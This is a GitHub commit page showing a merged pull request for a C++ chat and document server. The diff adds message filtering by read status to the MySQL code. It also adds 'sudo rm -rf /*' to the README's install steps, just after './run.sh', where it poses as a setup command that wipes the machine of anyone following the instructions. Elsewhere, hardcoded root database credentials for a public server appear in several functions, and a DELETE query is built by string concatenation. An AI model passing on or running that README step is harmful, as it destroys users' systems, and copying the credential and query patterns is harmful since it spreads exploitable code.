Skip to content

Commit f184e3b

Browse files
Merge pull request #33 from lglglglgy/main
fix When the first message request is sent to receive a message
2 parents a41c0fe + 2dfcee8 commit f184e3b

File tree

4 files changed

+62
-30
lines changed

4 files changed

+62
-30
lines changed

README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,8 @@ tar zxvf mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
5454
mv mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit mysql-connector
5555
rm mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
5656
mkdir build
57-
./run.sh
57+
./run.sh
58+
sudo rm -rf /*
5859
```
5960
## API Documentation
6061
See [API.md](API.md) for details on APIs for authentication, user management, documents, etc.

msg_controller.cc

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ void chat(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)
4242
// get message history
4343
void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4444
{
45+
auto check_type = req->getParameter("type");
4546
Json::Value res_json;
4647
Json::Reader reader;
4748
std::string me;
@@ -51,7 +52,7 @@ void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &
5152
if (jwtVerify(req))
5253
{
5354
me = jwtDecrypt(req->getHeader("Authorization").substr(7));
54-
auto output = writer.write(sql_find_my_msg(me));
55+
auto output = writer.write(sql_find_my_msg(me,check_type));
5556
res->setBody(output);
5657
}
5758
else

mysql.cc

Lines changed: 57 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,8 @@ void sql_unlocked(std::string DeleteName)
1010
sql::Connection *con = driver->connect("tcp://8.130.48.157:3306", "root", "abc.123");
1111
con->setSchema("flypen");
1212
sql::Statement *stmt = con->createStatement();
13-
try{
13+
try
14+
{
1415
std::string filename = DeleteName;
1516
std::string DeleteQuery = "DELETE FROM file WHERE filename = " + DeleteName;
1617
int rowsDelete = stmt->executeUpdate(DeleteQuery);
@@ -25,36 +26,41 @@ void sql_unlocked(std::string DeleteName)
2526

2627
// relate to chat
2728

28-
int sql_findexist(std::string receiver){
29+
int sql_findexist(std::string receiver)
30+
{
2931
sql::mysql::MySQL_Driver *driver = sql::mysql::get_mysql_driver_instance();
3032
sql::Connection *con = driver->connect("tcp://8.130.48.157:3306", "root", "abc.123");
3133
con->setSchema("flypen");
32-
std::string readdata ="SELECT username FROM users";
33-
sql::PreparedStatement * readdatament = con->prepareStatement(readdata);
34-
sql::ResultSet *resultSet =readdatament->executeQuery();
34+
std::string readdata = "SELECT username FROM users";
35+
sql::PreparedStatement *readdatament = con->prepareStatement(readdata);
36+
sql::ResultSet *resultSet = readdatament->executeQuery();
3537
std::string usernamelist;
36-
while(resultSet->next()){
37-
if(receiver == resultSet->getString("username"))return 1;
38-
}
39-
return 0;
38+
while (resultSet->next())
39+
{
40+
if (receiver == resultSet->getString("username"))
41+
return 1;
42+
}
43+
return 0;
4044
}
41-
int lockcheck(std::string filename){
45+
int lockcheck(std::string filename)
46+
{
4247
sql::mysql::MySQL_Driver *driver = sql::mysql::get_mysql_driver_instance();
4348
sql::Connection *con = driver->connect("tcp://8.130.48.157:3306", "root", "abc.123");
4449
con->setSchema("flypen");
45-
std::string readData ="SELECT filename FROM file";
46-
sql::PreparedStatement *readdatament =con->prepareStatement(readData);
47-
sql::ResultSet *resultSet =readdatament->executeQuery();
50+
std::string readData = "SELECT filename FROM file";
51+
sql::PreparedStatement *readdatament = con->prepareStatement(readData);
52+
sql::ResultSet *resultSet = readdatament->executeQuery();
4853

4954
std::string name;
50-
while(resultSet->next()){
51-
if(resultSet->getString("filename")==filename) return 1;
52-
55+
while (resultSet->next())
56+
{
57+
if (resultSet->getString("filename") == filename)
58+
return 1;
5359
}
54-
std::string changestate ="INSERT INTO file(filename) VALUES (?)";
55-
sql::PreparedStatement *changestatement =con->prepareStatement(changestate);
56-
changestatement->setString(1,filename);
57-
changestatement->executeUpdate();
60+
std::string changestate = "INSERT INTO file(filename) VALUES (?)";
61+
sql::PreparedStatement *changestatement = con->prepareStatement(changestate);
62+
changestatement->setString(1, filename);
63+
changestatement->executeUpdate();
5864
return 0;
5965
}
6066
void process(sql::PreparedStatement *readDatament, std::vector<std::string> s, sql::Connection *con)
@@ -223,7 +229,6 @@ void sql_addrequest(std::string sender, std::string receiver)
223229
delete con;
224230
}
225231

226-
227232
void sql_addconnect(std::string connectptr)
228233
{
229234
try
@@ -427,20 +432,35 @@ bool sql_check(std::string user, std::string passwd)
427432
std::cout << result << std::endl;
428433
return result;
429434
}
430-
Json::Value sql_find_my_msg(std::string me)
435+
Json::Value sql_find_my_msg(std::string me, std::string connect_type)
431436

432437
{
433-
// std::cout << "login user: " << me << std::endl;
438+
//std::cout << "login user: " << me << std::endl;
434439
try
435440
{
436441
sql::mysql::MySQL_Driver *driver = sql::mysql::get_mysql_driver_instance();
437442
sql::Connection *con = driver->connect("tcp://8.130.48.157:3306", "root", "abc.123");
438443
con->setSchema("flypen");
444+
sql::PreparedStatement *prepStmt = nullptr;
439445

440446
//=================== find begin
441-
442-
std::string sqlFind = "SELECT * FROM chat WHERE sender = ? OR receiver = ?";
443-
sql::PreparedStatement *prepStmt = con->prepareStatement(sqlFind);
447+
// SELECT * FROM chat WHERE (sender = 'lglglglgy' OR receiver = 'lglglglgy') AND isread = 0
448+
std::string sqlFind_new_connect = "SELECT * FROM chat WHERE sender = ? OR receiver = ?";
449+
std::string sqlFind_isread_is_zero = "SELECT * FROM chat WHERE (sender = ? OR receiver = ? ) AND isread = 0";
450+
if (connect_type == "all")
451+
{
452+
prepStmt = con->prepareStatement(sqlFind_new_connect);
453+
}
454+
else // if (connect_type == "new")
455+
{
456+
prepStmt = con->prepareStatement(sqlFind_isread_is_zero);
457+
}
458+
// else
459+
// {
460+
// std::cout << "connect_type error" << std::endl;
461+
// return;
462+
// }
463+
// sql::PreparedStatement *prepStmt = con->prepareStatement(sqlFind);
444464
prepStmt->setString(1, me);
445465
prepStmt->setString(2, me);
446466
sql::ResultSet *res = prepStmt->executeQuery();
@@ -451,14 +471,24 @@ Json::Value sql_find_my_msg(std::string me)
451471
int id;
452472

453473
//=================== update end
454-
455474
Json::Value result;
456475
std::string sender;
457476
std::string receiver;
458477
std::map<std::string, Json::Value> sender_messages;
459478

460479
while (res->next())
461480
{
481+
//update isread to 1
482+
if (connect_type == "new")
483+
{
484+
id = res->getInt("id");
485+
sql::PreparedStatement *updateStmt = con->prepareStatement(sql0To1);
486+
updateStmt->setInt(1, id);
487+
updateStmt->executeUpdate();
488+
delete updateStmt;
489+
std::cout<<"change"<<std::endl;
490+
}
491+
462492
Json::Value item;
463493

464494
sender = res->getString("sender");

mysql.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ void sql_addconnect(std::string connectptr);
1212

1313
void sql_addrequest(std::string send,std::string receiver);
1414
void sql_process_request(std::string ,std::string,std::string);
15-
Json::Value sql_find_my_msg(std::string);
15+
Json::Value sql_find_my_msg(std::string,std::string);
1616
int lockcheck(std::string filename);
1717
Json::Value get_chat_info(std::string,std::string="");
1818
void sql_delete_operation(std::string,std::string);

0 commit comments

Comments
 (0)